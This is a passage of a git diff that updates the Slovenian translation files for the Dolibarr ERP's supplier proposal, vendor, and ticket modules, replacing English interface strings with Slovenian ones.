+SupplierProposalShort=Ponudba dobavitelja +SupplierProposals=Ponudbe dobavitelja +SupplierProposalsShort=Ponudbe +AskPrice=Zahteva po ceni +NewAskPrice=Nova zahteva po ceni +ShowSupplierProposal=Pokaži zahtevo po ceni +AddSupplierProposal=Ustvarite zahtevo za ceno +SupplierProposalRefFourn=Ref. dobavitelj SupplierProposalDate=Datum dobave -SupplierProposalRefFournNotice=Before closing to "Accepted", think to grasp suppliers references. -ConfirmValidateAsk=Are you sure you want to validate this price request under name %s? -DeleteAsk=Delete request -ValidateAsk=Validate request +SupplierProposalRefFournNotice=Preden zaprete na "Sprejeto", razmislite o dobaviteljevih referencah. +ConfirmValidateAsk=Ali ste prepričani, da želite potrditi to zahtevo po ceni pod imenom %s ? +DeleteAsk=Izbriši zahtevo +ValidateAsk=Potrdi zahtevo SupplierProposalStatusDraft=Osnutek (potrebno potrditi) -SupplierProposalStatusValidated=Validated (request is open) +SupplierProposalStatusValidated=Potrjeno (zahteva je odprta) SupplierProposalStatusClosed=Zaključeno -SupplierProposalStatusSigned=Accepted +SupplierProposalStatusSigned=Sprejeto SupplierProposalStatusNotSigned=Zavrnjeno SupplierProposalStatusDraftShort=Osnutek SupplierProposalStatusValidatedShort=Potrjen SupplierProposalStatusClosedShort=Zaključeno -SupplierProposalStatusSignedShort=Accepted +SupplierProposalStatusSignedShort=Sprejeto SupplierProposalStatusNotSignedShort=Zavrnjeno -CopyAskFrom=Create price request by copying existing a request -CreateEmptyAsk=Create blank request -ConfirmCloneAsk=Are you sure you want to clone the price request %s? -ConfirmReOpenAsk=Are you sure you want to open back the price request %s? -SendAskByMail=Send price request by mail -SendAskRef=Sending the price request %s -SupplierProposalCard=Request card -ConfirmDeleteAsk=Are you sure you want to delete this price request %s? -ActionsOnSupplierProposal=Events on price request -DocModelAuroreDescription=A complete request model (logo...) -CommercialAsk=Price request +CopyAskFrom=Ustvarite zahtevo po ceni tako, da kopirate obstoječo zahtevo +CreateEmptyAsk=Ustvarite prazno zahtevo +ConfirmCloneAsk=Ali ste prepričani, da želite klonirati zahtevo za ceno %s ? +ConfirmReOpenAsk=Ali ste prepričani, da želite odpreti povpraševanje po ceni %s ? +SendAskByMail=Povpraševanje po ceni pošljite po pošti +SendAskRef=Pošiljanje povpraševanja po ceni %s +SupplierProposalCard=Zahtevaj kartico +ConfirmDeleteAsk=Ali ste prepričani, da želite izbrisati to zahtevo za ceno %s ? +ActionsOnSupplierProposal=Dogodki po ceni na povpraševanje +DocModelAuroreDescription=Popoln model zahteve (logotip ...) +CommercialAsk=Zahteva po ceni DefaultModelSupplierProposalCreate=Ustvarjanje privzetega modela -DefaultModelSupplierProposalToBill=Default template when closing a price request (accepted) -DefaultModelSupplierProposalClosed=Default template when closing a price request (refused) -ListOfSupplierProposals=List of vendor proposal requests -ListSupplierProposalsAssociatedProject=List of vendor proposals associated with project -SupplierProposalsToClose=Vendor proposals to close -SupplierProposalsToProcess=Vendor proposals to process -LastSupplierProposals=Latest %s price requests -AllPriceRequests=All requests +DefaultModelSupplierProposalToBill=Privzeta predloga pri zapiranju zahteve za ceno (sprejeto) +DefaultModelSupplierProposalClosed=Privzeta predloga pri zapiranju zahteve za ceno (zavrnjeno) +ListOfSupplierProposals=Seznam zahtevkov za ponudbe ponudnikov +ListSupplierProposalsAssociatedProject=Seznam ponudb ponudnikov, povezanih s projektom +SupplierProposalsToClose=Ponudniki za zaprtje +SupplierProposalsToProcess=Predlagani dobavitelji +LastSupplierProposals=Zadnje %s povpraševanje po cenah +AllPriceRequests=Vse zahteve +TypeContact_supplier_proposal_external_SHIPPING=Kontakt prodajalca za dostavo +TypeContact_supplier_proposal_external_BILLING=Kontakt prodajalca za obračun +TypeContact_supplier_proposal_external_SERVICE=Predstavnik za sledenje ponudbe diff --git a/htdocs/langs/sl_SI/suppliers.lang b/htdocs/langs/sl_SI/suppliers.lang index 3d8988b89e7..71d448fc9ea 100644 --- a/htdocs/langs/sl_SI/suppliers.lang +++ b/htdocs/langs/sl_SI/suppliers.lang @@ -1,49 +1,57 @@ # Dolibarr language file - Source file is en_US - vendors -Suppliers=Vendors -SuppliersInvoice=Fakture dobaviteljev -SupplierInvoices=Fakture dobaviteljev -ShowSupplierInvoice=Show Vendor Invoice -NewSupplier=New vendor +Suppliers=Dobavitelji +SuppliersInvoice=Prejeti račun +SupplierInvoices=Prejeti računi +ShowSupplierInvoice=Prikaži račun dobavitelja +NewSupplier=Nov dobavitelj +NewSupplierInvoice = Nov prejeti račun History=Zgodovina -ListOfSuppliers=List of vendors -ShowSupplier=Show vendor +ListOfSuppliers=Seznam dobaviteljev +ShowSupplier=Prikaži dobavitelja OrderDate=Datum naročila -BuyingPriceMin=Best buying price -BuyingPriceMinShort=Best buying price +BuyingPriceMin=Najboljša nakupna cena +BuyingPriceMinShort=Najboljša nakupna cena TotalBuyingPriceMinShort=Seštevek nabavnih cen pod-proizvodov -TotalSellingPriceMinShort=Total of subproducts selling prices +TotalSellingPriceMinShort=Skupaj prodajne cene podizdelkov SomeSubProductHaveNoPrices=Nekateri pod-proizvodi nimajo določenih cen -AddSupplierPrice=Add buying price -ChangeSupplierPrice=Change buying price -SupplierPrices=Vendor prices -ReferenceSupplierIsAlreadyAssociatedWithAProduct=This vendor reference is already associated with a product: %s -NoRecordedSuppliers=No vendor recorded -SupplierPayment=Vendor payment -SuppliersArea=Vendor area -RefSupplierShort=Ref. vendor +AddSupplierPrice=Dodajte nakupno ceno +ChangeSupplierPrice=Spremenite nakupno ceno +SupplierPrices=Cenik dobavitelja +ReferenceSupplierIsAlreadyAssociatedWithAProduct=Referenca dobavitelja je že povezana z izdelkom: %s +NoRecordedSuppliers=Dobavitelj ni zabeležen +SupplierPayment=Plačila dobaviteljem +SuppliersArea=Dobavitelji +RefSupplierShort=Ref. dobavitelj Availability=Razpoložljivost -ExportDataset_fournisseur_1=Vendor invoices and invoice details -ExportDataset_fournisseur_2=Vendor invoices and payments -ExportDataset_fournisseur_3=Purchase orders and order details +ExportDataset_fournisseur_1=Prejeti računi in podrobnosti o računu +ExportDataset_fournisseur_2=Saldakonti dobaviteljev +ExportDataset_fournisseur_3=Naročila in podrobnosti naročila ApproveThisOrder=Odobri to naročilo -ConfirmApproveThisOrder=Are you sure you want to approve order %s? +ConfirmApproveThisOrder=Ali ste prepričani, da želite odobriti naročilo %s ? DenyingThisOrder=Zavrni to naročilo -ConfirmDenyingThisOrder=Are you sure you want to deny this order %s? -ConfirmCancelThisOrder=Are you sure you want to cancel this order %s? -AddSupplierOrder=Create Purchase Order -AddSupplierInvoice=Create vendor invoice -ListOfSupplierProductForSupplier=List of products and prices for vendor %s -SentToSuppliers=Sent to vendors -ListOfSupplierOrders=List of purchase orders -MenuOrdersSupplierToBill=Purchase orders to invoice -NbDaysToDelivery=Delivery delay (days) -DescNbDaysToDelivery=The longest delivery delay of the products from this order -SupplierReputation=Vendor reputation -ReferenceReputation=Reference reputation -DoNotOrderThisProductToThisSupplier=Do not order -NotTheGoodQualitySupplier=Low quality -ReputationForThisProduct=Reputation -BuyerName=Buyer name -AllProductServicePrices=All product / service prices -AllProductReferencesOfSupplier=All references of vendor -BuyingPriceNumShort=Vendor prices +ConfirmDenyingThisOrder=Ali ste prepričani, da želite zavrniti to naročilo %s ? +ConfirmCancelThisOrder=Ali ste prepričani, da želite preklicati to naročilo %s ? +AddSupplierOrder=Ustvarite naročilnico +AddSupplierInvoice=Ustvarite prejeti račun +ListOfSupplierProductForSupplier=Seznam dobaviteljevih izdelkov in cen %s +SentToSuppliers=Poslano dobaviteljem +ListOfSupplierOrders=Seznam naročilnic +MenuOrdersSupplierToBill=Naročila za fakturiranje +NbDaysToDelivery=Zamuda pri dostavi (dni) +DescNbDaysToDelivery=Najdaljša zamuda pri dostavi izdelkov iz tega naročila +SupplierReputation=Ugled dobavitelja +ReferenceReputation=Referenčni ugled +DoNotOrderThisProductToThisSupplier=Ne naročajte +NotTheGoodQualitySupplier=Nizka kvaliteta +ReputationForThisProduct=Ugled +BuyerName=Ime kupca +AllProductServicePrices=Vse cene izdelkov / storitev +AllProductReferencesOfSupplier=Vse reference dobavitelja +BuyingPriceNumShort=Ceniki dobaviteljev +RepeatableSupplierInvoice=Predloga računa dobavitelja +RepeatableSupplierInvoices=Predloge računov dobaviteljev +RepeatableSupplierInvoicesList=Predloge računov dobaviteljev +RecurringSupplierInvoices=Ponavljajoči se računi dobavitelja +ToCreateAPredefinedSupplierInvoice=Za izdelavo predloge računa dobavitelja morate ustvariti standardni račun, nato pa brez potrditve kliknite na gumb "%s". +GeneratedFromSupplierTemplate=Ustvarjeno iz predloge računa dobavitelja %s +SupplierInvoiceGeneratedFromTemplate=Račun dobavitelja %s Ustvarjeno iz predloge računa dobavitelja %s diff --git a/htdocs/langs/sl_SI/ticket.lang b/htdocs/langs/sl_SI/ticket.lang index be7e2d31183..95a9b290804 100644 --- a/htdocs/langs/sl_SI/ticket.lang +++ b/htdocs/langs/sl_SI/ticket.lang @@ -18,307 +18,340 @@ # Generic # -Module56000Name=Tickets -Module56000Desc=Ticket system for issue or request management +Module56000Name=Zahtevki +Module56000Desc=Sistem za upravljanje zahtevkov -Permission56001=See tickets -Permission56002=Modify tickets -Permission56003=Delete tickets -Permission56004=Manage tickets -Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Permission56001=Poglej zahtevke +Permission56002=Sprememba zahtevkov +Permission56003=Izbriši zahtevke +Permission56004=Upravljanje zahtevkov +Permission56005=Pogled zahtevkov vseh partnerjev (ne velja za zunanje uporabnike, vedno bodite pozorni na pomebne partnerje) +Permission56006=Export tickets -TicketDictType=Ticket - Types -TicketDictCategory=Ticket - Groupes -TicketDictSeverity=Ticket - Severities -TicketDictResolution=Ticket - Resolution +Tickets=Vstopnice +TicketDictType=Zahtevki - vrste +TicketDictCategory=Zahtevki - skupine +TicketDictSeverity=Zahtevki - pomebnost +TicketDictResolution=Zahtevki - ločljivost -TicketTypeShortCOM=Commercial question -TicketTypeShortHELP=Request for functionnal help -TicketTypeShortISSUE=Issue or bug -TicketTypeShortPROBLEM=Problem -TicketTypeShortREQUEST=Change or enhancement request +TicketTypeShortCOM=Komercialno vprašanje +TicketTypeShortHELP=Zahteva za funkcionalno pomoč +TicketTypeShortISSUE=Težava ali napaka +TicketTypeShortPROBLEM=Težava +TicketTypeShortREQUEST=Spremeni oziroma izpopolni zahtevo TicketTypeShortPROJET=Projekt TicketTypeShortOTHER=Ostalo -TicketSeverityShortLOW=Majhen potencial -TicketSeverityShortNORMAL=Normal -TicketSeverityShortHIGH=Visok potencial -TicketSeverityShortBLOCKING=Critical, Blocking +TicketSeverityShortLOW=Nizka +TicketSeverityShortNORMAL=Normalna +TicketSeverityShortHIGH=Visoka +TicketSeverityShortBLOCKING=Kritična, blokiranje TicketCategoryShortOTHER=Ostalo -ErrorBadEmailAddress=Field '%s' incorrect -MenuTicketMyAssign=My tickets -MenuTicketMyAssignNonClosed=My open tickets -MenuListNonClosed=Open tickets +ErrorBadEmailAddress=Polje '%s' ni pravilno +MenuTicketMyAssign=Moji zahtevki +MenuTicketMyAssignNonClosed=Moji odprti zahtevki +MenuListNonClosed=Odprti zahtevki TypeContact_ticket_internal_CONTRIBUTOR=Sodelavec -TypeContact_ticket_internal_SUPPORTTEC=Assigned user -TypeContact_ticket_external_SUPPORTCLI=Customer contact / incident tracking -TypeContact_ticket_external_CONTRIBUTOR=External contributor +TypeContact_ticket_internal_SUPPORTTEC=Dodeljeno uporabniku +TypeContact_ticket_external_SUPPORTCLI=Stik kupec / sledenje incidentom +TypeContact_ticket_external_CONTRIBUTOR=Zunanji sodelavec -OriginEmail=Reporter Email -Notify_TICKET_SENTBYMAIL=Send ticket message by email +OriginEmail=Poročavalec e-pošta +Notify_TICKET_SENTBYMAIL=Pošljite sporočilo po e-pošti + +ExportDataset_ticket_1=Vstopnice # Status Read=Preberite -Assigned=Assigned -InProgress=In progress -NeedMoreInformation=Waiting for reporter feedback -NeedMoreInformationShort=Waiting for feedback -Answered=Answered +Assigned=Dodeljeno +InProgress=V postopku +NeedMoreInformation=Čakanje na povratne informacije poročevalca +NeedMoreInformationShort=Čakanje na povratne informacije +Answered=Odgovoril Waiting=Na čakanju -SolvedClosed=Solved -Deleted=Deleted +SolvedClosed=Rešeno +Deleted=Izbrisano # Dict Type=Tip -Severity=Severity -TicketGroupIsPublic=Group is public -TicketGroupIsPublicDesc=If a ticket group is public, it will be visible in the form when creating a ticket from the public interface +Severity=Pomembnost +TicketGroupIsPublic=Javna skupina +TicketGroupIsPublicDesc=Če je skupina zahtevka javna, bo vidna v obrazcu, ko ustvarite zahtevek v javnem vmesniku # Email templates -MailToSendTicketMessage=To send email from ticket message +MailToSendTicketMessage=Pošiljanje zahtevka po e-pošti # # Admin page # -TicketSetup=Ticket module setup -TicketSettings=Settings +TicketSetup=Nastavitev zahtevkov +TicketSettings=Nastavitve TicketSetupPage= -TicketPublicAccess=A public interface requiring no identification is available at the following url -TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries -TicketParamModule=Module variable setup -TicketParamMail=Email setup -TicketEmailNotificationFrom=Notification email from -TicketEmailNotificationFromHelp=Used into ticket message answer by example -TicketEmailNotificationTo=Notifications email to -TicketEmailNotificationToHelp=Send email notifications to this address. -TicketNewEmailBodyLabel=Text message sent after creating a ticket -TicketNewEmailBodyHelp=The text specified here will be inserted into the email confirming the creation of a new ticket from the public interface. Information on the consultation of the ticket are automatically added. -TicketParamPublicInterface=Public interface setup -TicketsEmailMustExist=Require an existing email address to create a ticket -TicketsEmailMustExistHelp=In the public interface, the email address should already be filled in the database to create a new ticket. -PublicInterface=Public interface -TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface -TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) -TicketPublicInterfaceTextHomeLabelAdmin=Welcome text of the public interface -TicketPublicInterfaceTextHome=You can create a support ticket or view existing from its identifier tracking ticket. -TicketPublicInterfaceTextHomeHelpAdmin=The text defined here will appear on the home page of the public interface. -TicketPublicInterfaceTopicLabelAdmin=Interface title -TicketPublicInterfaceTopicHelp=This text will appear as the title of the public interface. -TicketPublicInterfaceTextHelpMessageLabelAdmin=Help text to the message entry -TicketPublicInterfaceTextHelpMessageHelpAdmin=This text will appear above the message input area of the user. -ExtraFieldsTicket=Extra attributes -TicketCkEditorEmailNotActivated=HTML editor is not activated. Please put FCKEDITOR_ENABLE_MAIL content to 1 to get it. -TicketsDisableEmail=Do not send emails for ticket creation or message recording -TicketsDisableEmailHelp=By default, emails are sent when new tickets or messages created. Enable this option to disable *all* email notifications -TicketsLogEnableEmail=Enable log by email -TicketsLogEnableEmailHelp=At each change, an email will be sent **to each contact** associated with the ticket. -TicketParams=Params -TicketsShowModuleLogo=Display the logo of the module in the public interface -TicketsShowModuleLogoHelp=Enable this option to hide the logo module in the pages of the public interface -TicketsShowCompanyLogo=Display the logo of the company in the public interface -TicketsShowCompanyLogoHelp=Enable this option to hide the logo of the main company in the pages of the public interface -TicketsEmailAlsoSendToMainAddress=Also send a notification to the main email address -TicketsEmailAlsoSendToMainAddressHelp=Enable this option to also send an email to the address defined into setup "%s" (see tab "%s") -TicketsLimitViewAssignedOnly=Restrict the display to tickets assigned to the current user (not effective for external users, always be limited to the third party they depend on) -TicketsLimitViewAssignedOnlyHelp=Only tickets assigned to the current user will be visible. Does not apply to a user with tickets management rights. -TicketsActivatePublicInterface=Activate public interface -TicketsActivatePublicInterfaceHelp=Public interface allow any visitors to create tickets. -TicketsAutoAssignTicket=Automatically assign the user who created the ticket -TicketsAutoAssignTicketHelp=When creating a ticket, the user can be automatically assigned to the ticket. -TicketNumberingModules=Tickets numbering module -TicketsModelModule=Document templates for tickets -TicketNotifyTiersAtCreation=Notify third party at creation -TicketsDisableCustomerEmail=Always disable emails when a ticket is created from public interface -TicketsPublicNotificationNewMessage=Send email(s) when a new message/comment is added to a ticket -TicketsPublicNotificationNewMessageHelp=Send email(s) when a new message is added from public interface (to assigned user or the notifications email to (update) and/or the notifications email to) -TicketPublicNotificationNewMessageDefaultEmail=Notifications email to (update) -TicketPublicNotificationNewMessageDefaultEmailHelp=Send an email to this address for each new message notifications if the ticket doesn't have a user assigned to it or if the user doesn't have any known email. +TicketPublicAccess=Javni vmesnik, ki ne zahteva identifikacije, je na voljo na naslednjem URL-ju +TicketSetupDictionaries=Vrsto zahtevka, pomebnost in analitično kodo je mogoče konfigurirati iz slovarjev +TicketParamModule=Nastavitev spremenljivke modula +TicketParamMail=Nastavitev e-pošte +TicketEmailNotificationFrom=E-mail pošiljatelja za obveščanje o odgovorih +TicketEmailNotificationFromHelp=E-pošta pošiljatelja, ki se uporablja za pošiljanje e-pošte z obvestilom, ko je odgovor zagotovljen v zaledni pisarni. Na primer noreply@example.com +TicketEmailNotificationTo=Obvestilo o ustvarjanju zahtevka na e-poštni naslov +TicketEmailNotificationToHelp=Če je prisoten, bo ta e-poštni naslov obveščen o ustvarjanju zahtevka +TicketNewEmailBodyLabel=Besedilno sporočilo, poslano po ustvarjanju zahtevka +TicketNewEmailBodyHelp=Tukaj navedeno besedilo bo vstavljeno v e-poštno sporočilo, ki potrjuje ustvarjanje novega zahtevka iz javnega vmesnika. Informacije o pregledu zahhtevka se samodejno dodajo. +TicketParamPublicInterface=Nastavitev javnega vmesnika +TicketsEmailMustExist=Za ustvarjanje zahtevka zahtevajte obstoječi e-poštni naslov +TicketsEmailMustExistHelp=V javnem vmesniku mora biti e-poštni naslov že izpolnjen v zbirki podatkov, da ustvarite nov zahtevek. +TicketCreateThirdPartyWithContactIfNotExist=Vprašajte za ime in naziv podjetja za neznane e-poštne naslove. +TicketCreateThirdPartyWithContactIfNotExistHelp=Preverite, ali obstaja partner ali stik za vneseno e-pošto. Če ne, zahtevajte ime in naziv podjetja, da ustvarite stik z partnerjem. +PublicInterface=Javni vmesnik +TicketUrlPublicInterfaceLabelAdmin=Nadomestni URL za javni vmesnik +TicketUrlPublicInterfaceHelpAdmin=Spletnemu strežniku je mogoče določiti vzdevek in tako dati na voljo javni vmesnik z drugim URL-jem (strežnik mora delovati kot proxy na tem novem URL-ju) +TicketPublicInterfaceTextHomeLabelAdmin=Pozdravno besedilo javnega vmesnika +TicketPublicInterfaceTextHome=Ustvarite lahko zahtevek za podporo ali si ogledate obstoječ zahtevek za sledenje identifikatorja. +TicketPublicInterfaceTextHomeHelpAdmin=Tukaj definirano besedilo bo prikazano na domači strani javnega vmesnika. +TicketPublicInterfaceTopicLabelAdmin=Naslov vmesnika +TicketPublicInterfaceTopicHelp=To besedilo bo prikazano kot naslov javnega vmesnika. +TicketPublicInterfaceTextHelpMessageLabelAdmin=Besedilo pomoči za vnos sporočila +TicketPublicInterfaceTextHelpMessageHelpAdmin=To besedilo se bo pojavilo nad območjem za vnos sporočila uporabnika. +ExtraFieldsTicket=Dodatni atributi +TicketCkEditorEmailNotActivated=Urejevalnik HTML ni aktiviran. Vsebino spremenljivke FCKEDITOR_ENABLE_MAIL postavite na 1, da ga omogočite. +TicketsDisableEmail=Ne pošiljajte e-pošte za ustvarjanje zahtevkov ali snemanje sporočil +TicketsDisableEmailHelp=E-poštna sporočila so privzeto poslana, ko so ustvarjene novi zahtevki ali sporočila. Omogočite to možnost, da onemogočite *vsa* e-poštna obvestila +TicketsLogEnableEmail=Omogoči prijavo po e-pošti +TicketsLogEnableEmailHelp=Ob vsaki spremembi bo **vsakemu kontaktu**, ki je povezan z zahtevkom, poslano e-poštno sporočilo. +TicketParams=Parametri +TicketsShowModuleLogo=Prikažite logotip modula v javnem vmesniku +TicketsShowModuleLogoHelp=Omogočite to možnost, če želite skriti modul logotipa na straneh javnega vmesnika +TicketsShowCompanyLogo=Prikažite logotip podjetja v javnem vmesniku +TicketsShowCompanyLogoHelp=Omogočite to možnost, če želite skriti logotip glavnega podjetja na straneh javnega vmesnika +TicketsEmailAlsoSendToMainAddress=Obvestilo pošljite tudi na glavni elektronski naslov +TicketsEmailAlsoSendToMainAddressHelp=Omogočite to možnost, če želite poslati e-pošto tudi na naslov, določen v nastavitvah "%s" (glejte zavihek "%s") +TicketsLimitViewAssignedOnly=Omejite prikaz na zahtevka, dodeljene trenutnemu uporabniku (ne velja za zunanje uporabnike, vedno bodite omejeni na pomebne partnerje) +TicketsLimitViewAssignedOnlyHelp=Vidni bodo le zahtevki, dodeljeni trenutnemu uporabniku. Ne velja za uporabnike s pravicami upravljanja zahtevkov. +TicketsActivatePublicInterface=Aktivirajte javni vmesnik +TicketsActivatePublicInterfaceHelp=Javni vmesnik omogoča vsem obiskovalcem ustvarjanje zahtevkov. +TicketsAutoAssignTicket=Samodejno dodelite uporabnika, ki je ustvaril zahtevek +TicketsAutoAssignTicketHelp=Pri ustvarjanju zahtevka je lahko uporabnik samodejno dodeljen zahtevku. +TicketNumberingModules=Modul za številčenje zahtevkov +TicketsModelModule=Predloge zahtevkov +TicketNotifyTiersAtCreation=Obvesti partnerja ob ustvarjanju +TicketsDisableCustomerEmail=Vedno onemogoči e-pošto, ko je zahtevek ustvarjen iz javnega vmesnika +TicketsPublicNotificationNewMessage=Pošlji e-pošto, ko je zahtevku dodano novo sporočilo/komentar +TicketsPublicNotificationNewMessageHelp=Pošlji e-pošto, ko je novo sporočilo dodano iz javnega vmesnika (dodeljenemu uporabniku ali e-poštno sporočilo z obvestili na (posodobitev) in/ali e-poštno sporočilo z obvestili na) +TicketPublicNotificationNewMessageDefaultEmail=Obvestila po e-pošti na (posodobitev) +TicketPublicNotificationNewMessageDefaultEmailHelp=Na ta naslov pošljite e-poštno sporočilo za obvestila o vsakem novem sporočilu, če zahtevku ni dodeljen uporabnik ali če uporabnik nima znanega e-poštnega naslova. +TicketsAutoReadTicket=Samodejno označi zahtevek kot prebran (ko je ustvarjen v zaledni pisarni) +TicketsAutoReadTicketHelp=Samodejno označi zahtevek kot prebran, ko je ustvarjen v zaledni pisarni. Ko je zahtevek ustvarjen iz javnega vmesnika, ostane s statusom »Ni prebrano«. +TicketsDelayBeforeFirstAnswer=Nov zahtevek mora prejeti prvi odgovor pred (ur): +TicketsDelayBeforeFirstAnswerHelp=Če nov zahtevek po tem časovnem obdobju (v urah) ne prejme odgovora, bo v pogledu seznama prikazana pomembna opozorilna ikona. +TicketsDelayBetweenAnswers=Nerešen zahtevek ne sme biti neaktiven med (ur): +TicketsDelayBetweenAnswersHelp=Če nerazrešena zahtevek, ki je že prejel odgovor, ni imel nadaljnje interakcije po tem časovnem obdobju (v urah), bo v seznamu prikazana opozorilna ikona. +TicketsAutoNotifyClose=Samodejno obvesti partnerja, ko zaprete zahtevek +TicketsAutoNotifyCloseHelp=Pri zapiranju zahtevka vam bo predlagano, da pošljete sporočilo enemu od stikov partnerja. Ob množičnem zaprtju bo poslano sporočilo enemu stiku partnerja, ki je povezan z zahtevkom. +TicketWrongContact=Navedeni stik ni del trenutnih stikov na zahtevku. E-pošta ni poslana. +TicketChooseProductCategory=Kategorija izdelka za podporo zahtevku +TicketChooseProductCategoryHelp=Izberite kategorijo izdelka podpore za zahtevek. To bo uporabljeno za samodejno povezovanje pogodbe z zahtevkom. +TicketUseCaptchaCode=Pri ustvarjanju zahtevka uporabite grafično kodo (CAPTCHA). +TicketUseCaptchaCodeHelp=Doda preverjanje CAPTCHA pri ustvarjanju novega zahtevka. + # # Index & list page # -TicketsIndex=Tickets area -TicketList=List of tickets -TicketAssignedToMeInfos=This page display ticket list created by or assigned to current user -NoTicketsFound=No ticket found -NoUnreadTicketsFound=No unread ticket found -TicketViewAllTickets=View all tickets -TicketViewNonClosedOnly=View only open tickets -TicketStatByStatus=Tickets by status -OrderByDateAsc=Sort by ascending date -OrderByDateDesc=Sort by descending date -ShowAsConversation=Show as conversation list -MessageListViewType=Show as table list +TicketsIndex=Območje zahtevka +TicketList=Seznam zahtevkov +TicketAssignedToMeInfos=Na tej strani je prikazan seznam zahtevkov, ki jih je ustvaril ali dodelil trenutni uporabnik +NoTicketsFound=Ni zahtevkov +NoUnreadTicketsFound=Ni neprebranih zahtevkov +TicketViewAllTickets=Oglejte si vse zahtevke +TicketViewNonClosedOnly=Oglejte si samo odprte zahtevke +TicketStatByStatus=Zahtevki po statusu +OrderByDateAsc=Razvrsti po naraščajočem datumu +OrderByDateDesc=Razvrsti po padajočem datumu +ShowAsConversation=Prikaži kot seznam pogovorov +MessageListViewType=Prikaži kot seznam tabel +ConfirmMassTicketClosingSendEmail=Samodejno pošiljanje e-pošte ob zapiranju zahtevkov +ConfirmMassTicketClosingSendEmailQuestion=Ali želite ob zapiranju teh zahtevkov obvestiti partnerje? # # Ticket card # -Ticket=Ticket -TicketCard=Ticket card -CreateTicket=Create ticket -EditTicket=Edit ticket -TicketsManagement=Tickets Management -CreatedBy=Created by -NewTicket=New Ticket -SubjectAnswerToTicket=Ticket answer -TicketTypeRequest=Request type -TicketCategory=Ticket categorization -SeeTicket=See ticket -TicketMarkedAsRead=Ticket has been marked as read -TicketReadOn=Read on +Ticket=Zahtevek +TicketCard=Kartica zahtevka +CreateTicket=Ustvari zahtevek +EditTicket=Uredi zahtevek +TicketsManagement=Upravljanje zahtevkov +CreatedBy=Ustvaril +NewTicket=Nov zahtevek +SubjectAnswerToTicket=Odgovor na zahtevek +TicketTypeRequest=Vrsta zahteve +TicketCategory=Ticket group +SeeTicket=Glej zahtevek +TicketMarkedAsRead=Zahtevek je označen kot prebran +TicketReadOn=Beri naprej TicketCloseOn=Datum zaključka -MarkAsRead=Mark ticket as read -TicketHistory=Ticket history -AssignUser=Assign to user -TicketAssigned=Ticket is now assigned -TicketChangeType=Change type -TicketChangeCategory=Change analytic code -TicketChangeSeverity=Change severity -TicketAddMessage=Add a message -AddMessage=Add a message -MessageSuccessfullyAdded=Ticket added -TicketMessageSuccessfullyAdded=Message successfully added -TicketMessagesList=Message list -NoMsgForThisTicket=No message for this ticket -TicketProperties=Classification -LatestNewTickets=Latest %s newest tickets (not read) -TicketSeverity=Severity -ShowTicket=See ticket -RelatedTickets=Related tickets +MarkAsRead=Označi zahtevek kot prebran +TicketHistory=Zgodovina zahtevkov +AssignUser=Dodeli uporabniku +TicketAssigned=Zahtevek je zdaj dodeljen +TicketChangeType=Spremeni vrsto +TicketChangeCategory=Spremenite analitično kodo +TicketChangeSeverity=Spremenite pomembnost +TicketAddMessage=Dodaj zasebno sporočilo +MessageSuccessfullyAdded=Zahtevek dodan +TicketMessageSuccessfullyAdded=Sporočilo je bilo uspešno dodano +TicketMessagesList=Seznam sporočil +NoMsgForThisTicket=Za ta zahtevek ni sporočila +TicketProperties=Razvrstitev +LatestNewTickets=Zadnjih %s najnovejših zahtevkov (ni prebrano) +TicketSeverity=Pomebnost +ShowTicket=Glej zahtevek +RelatedTickets=Povezani zahtevki TicketAddIntervention=Dodaj intervencijo -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket -CloseATicket=Close|Solve a ticket -ConfirmCloseAticket=Confirm ticket closing -ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' -ConfirmDeleteTicket=Please confirm ticket deleting -TicketDeletedSuccess=Ticket deleted with success -TicketMarkedAsClosed=Ticket marked as closed -TicketDurationAuto=Calculated duration -TicketDurationAutoInfos=Duration calculated automatically from intervention related -TicketUpdated=Ticket updated -SendMessageByEmail=Send message by email -TicketNewMessage=New message -ErrorMailRecipientIsEmptyForSendTicketMessage=Recipient is empty. No email send -TicketGoIntoContactTab=Please go into "Contacts" tab to select them -TicketMessageMailIntro=Introduction -TicketMessageMailIntroHelp=This text is added only at the beginning of the email and will not be saved. -TicketMessageMailIntroLabelAdmin=Introduction to the message when sending email -TicketMessageMailIntroText=Hello,
      A new response was sent on a ticket that you contact. Here is the message:
      -TicketMessageMailIntroHelpAdmin=This text will be inserted before the text of the response to a ticket. -TicketMessageMailSignature=Podpis -TicketMessageMailSignatureHelp=This text is added only at the end of the email and will not be saved. -TicketMessageMailSignatureText=

      Sincerely,

      --

      -TicketMessageMailSignatureLabelAdmin=Signature of response email -TicketMessageMailSignatureHelpAdmin=This text will be inserted after the response message. -TicketMessageHelp=Only this text will be saved in the message list on ticket card. -TicketMessageSubstitutionReplacedByGenericValues=Substitutions variables are replaced by generic values. -TimeElapsedSince=Time elapsed since -TicketTimeToRead=Time elapsed before read -TicketTimeElapsedBeforeSince=Time elapsed before / since -TicketContacts=Contacts ticket -TicketDocumentsLinked=Documents linked to ticket -ConfirmReOpenTicket=Confirm reopen this ticket ? -TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticket with the subject %s: -TicketAssignedToYou=Ticket assigned -TicketAssignedEmailBody=You have been assigned the ticket #%s by %s -MarkMessageAsPrivate=Mark message as private -TicketMessagePrivateHelp=This message will not display to external users -TicketEmailOriginIssuer=Issuer at origin of the tickets -InitialMessage=Initial Message -LinkToAContract=Link to a contract -TicketPleaseSelectAContract=Select a contract -UnableToCreateInterIfNoSocid=Can not create an intervention when no third party is defined -TicketMailExchanges=Mail exchanges -TicketInitialMessageModified=Initial message modified -TicketMessageSuccesfullyUpdated=Message successfully updated -TicketChangeStatus=Change status -TicketConfirmChangeStatus=Confirm the status change: %s ? -TicketLogStatusChanged=Status changed: %s to %s -TicketNotNotifyTiersAtCreate=Not notify company at create -Unread=Unread -TicketNotCreatedFromPublicInterface=Not available. Ticket was not created from public interface. -ErrorTicketRefRequired=Ticket reference name is required +CloseTicket=Zapri|Reši +AbandonTicket=Opuščen +CloseATicket=Zapri|Reši zahtevek +ConfirmCloseAticket=Potrdite zapiranje zahtevka +ConfirmAbandonTicket=Ali potrdite zaprtje zahtevka v status 